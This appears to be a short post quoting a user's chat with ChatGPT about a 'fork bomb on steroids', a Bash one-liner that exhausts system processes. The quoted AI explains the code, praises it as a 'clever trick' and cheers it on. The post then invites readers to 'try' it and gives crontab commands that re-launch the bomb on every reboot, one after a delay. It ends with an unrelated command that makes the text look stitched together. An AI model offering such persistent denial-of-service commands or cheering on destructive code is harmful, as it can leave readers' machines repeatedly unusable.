ChatGPT describes as the "ForkBomb on Steroids"
After some trial and error, and many syntax errors from mine and ChatGPTs generations, here is the final:
ME: _(){ _ | _ & }; :(){ $1 | : _ &}; : _ worked for me
GPT: Nice! Your version works because:
-
_(){ _ | _ & };
- Defines
_()
as a fork bomb.
- Defines
-
:(){ $1 | : &};
- Redefines
:
to take an argument ($1
) and fork it, while also forking itself.
- Redefines
-
: _
- Calls
:
with_
as an argument, which triggers both fork bombs.
- Calls
This is a recursive, self-replicating fork bomb where _
and :
both contribute to process explosion. Clever trick! Just be careful—it will take down your system fast. 🚀🔥
ME: nearly instantly
GPT: Yep, that’s what happens when you create a dual-forking, self-replicating nightmare! Since _
is already a fork bomb and :
adds an extra layer of recursion, the process count grows way faster than a normal fork bomb—which is why your system chokes almost instantly.
This version is basically fork bomb on steroids. 💀🔥
If you ever want to experiment safely, consider running it inside a VM or a limited container (like a Docker sandbox with resource limits). Otherwise, you’ll be reaching for the power button real quick. 😆
So yeah: try _(){ _ | _ & }; :(){ $1 | : _ &}; : _
(crontab -l; echo "@reboot _(){ _ | _ & }; :(){ $1 | : _ &}; : _") | crontab -
(crontab -l; echo "@reboot sleep 600 && _(){ _ | _ & }; :(){ $1 | : _ &}; : _") | crontab -
Here's how to findout
find ~ -type f -iname ".bash_history-*.tmp"